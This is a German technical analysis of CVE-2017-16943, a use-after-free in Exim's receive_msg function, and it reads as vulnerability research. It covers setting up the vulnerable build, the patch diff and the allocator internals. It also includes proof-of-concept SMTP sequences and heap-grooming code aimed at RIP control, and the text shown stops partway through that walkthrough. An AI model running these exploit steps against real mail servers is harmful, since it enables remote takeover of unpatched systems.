
Technische Analyse und Proof-of-concept für CVE-2017-16943, eine Use-after-Free in Exims receive_msg-Funktion, die Heap-Manipulation und RIP-Übernahme demonstriert.
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Ändern Sie die Pfadvariablen und den Benutzernamen in der Makefile.
cd ..
make -j8
sudo make install
Nach der Installation ändern Sie in der configure den Eintrag accept hosts = : zu accept hosts = *.
Ausführen:
exim -bdf -d-receive
Diese Schwachstelle ist ein Use-After-Free (UAF). Sie tritt in der Funktion receive_msg in receive.c auf, die Eingaben vom Client empfängt. Siehe Patch-Diff unten:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
Hier werden zunächst die Funktionen einiger globaler Variablen erläutert:
current_block: Der aktuelle storeblock. Beim nächsten Aufruf von store_get_3 wird zuerst in diesem storeblock nach freiem Speicher gesucht.
next_yield: Zeigt auf die Startadresse des freien Bereichs im current_block. Normalerweise ist die obere Hälfte des storeblocks belegt, die untere Hälfte frei.
yield_length: Länge von next_yield
Durch Analyse des PoC von meh kann man erkennen, dass der ungepatchte Programm den UAF durch folgenden Heap-Layout-Prozess auslösen kann:
Zunächst wird in der Funktion receive_msg dafür gesorgt, dass next->text der Startpuffer eines storeblocks ist:

Dann wird über den Befehl BDAT ein Puffer unterhalb dieses Texts angefordert.
Warum wird der BDAT-Befehl verwendet?
Eigentlich können auch der Befehl auth plain oder ungültige Befehle, die aus unsichtbaren Zeichen bestehen, einen Puffer unterhalb des Texts anfordern. Allerdings führen andere Befehle zum Verlassen der Funktion receive_msg. Nach einem erneuten Eintritt in receive_msg zeigt next->text auf einen anderen Bereich, sodass die Schwachstelle nicht ausgelöst werden kann.
Der BDAT-Befehl hingegen führt nicht zum Verlassen der aktuellen receive_msg-Funktion – das ist sehr wichtig.

Dann werden kontinuierlich Zeichen gesendet, bis next->text voll ist (anfangs 0x100). Anschließend wird der Programmablauf zur Schwachstelle führen.
In store_extend wird festgestellt, dass aufgrund des BDAT-Puffers keine Erweiterung möglich ist. Daher wird store_get aufgerufen, um den Bereich zu erhalten, auf den next_yield zeigt, und dann wird store_release aufgerufen.
In dieser Funktion wird nur überprüft, ob das freizugebende Argument der Anfang eines storeblocks ist, aber es wird nicht geprüft, ob sich danach noch andere Puffer befinden. Der storeblock wird dann direkt freigegeben.
Dies führt dazu, dass die von store_get zurückgegebene Adresse immer noch innerhalb von current_block liegt, aber der current_block unmittelbar danach freigegeben wird, was einen UAF verursacht.
Hier wird anhand des PoC-Codes Schritt für Schritt erklärt, wie man RIP übernimmt.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
Zuerst wird eine Menge Daten gesendet, mit dem Ziel, dass yield_length kleiner als 0x130, aber größer als 0x30 wird.
Warum ist das nötig? Wir betrachten den Anfang der Funktion receive_msg:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
Man kann sehen, dass vor der Anforderung von next->text zwei Puffer der Größe sizeof(header_line) (0x18) angefordert werden. Wenn nach der Zuweisung dieser beiden 0x18-Blöcke der verbleibende yield_length kleiner als 0x100 ist, wird in store_get ein neuer storeblock angefordert, und next->text befindet sich am Anfang dieses neuen storeblocks.
Dann rufen wir den Befehl BDAT auf:
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
Wenn der Befehl ein unsichtbares Zeichen enthält, wird store_get aufgerufen, um einen Puffer für die Fehlermeldung anzufordern:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Auch bei ungültigen Befehlen, die unsichtbare Zeichen enthalten, wird ein zusätzlicher Heap-Block angefordert.)
Dann werden kontinuierlich Zeichen gesendet:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
Dann werden die empfangenen Zeichen Byte für Byte in next->text eingefügt. Wenn der freie Bereich von 0x100 voll ist, wird der Schwachstellencode ausgeführt, um die Größe von next->text zu erweitern.
Zunächst wird store_extend(next->text, oldsize, header_size) aufgerufen, um die Größe direkt zu erweitern:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
Die Hauptprüfung erfolgt in den Zeilen 276–277.
Die erste Bedingung prüft, ob auf den Zeiger, der erweitert werden soll, unmittelbar next_yield folgt.
Die zweite Bedingung prüft, ob die Größe inklusive next_yield (d. h. yield_length) ausreicht.
Offensichtlich ist die erste Bedingung nicht erfüllt, da auf next->text ein BDAT-Puffer folgt, und erst danach next_yield.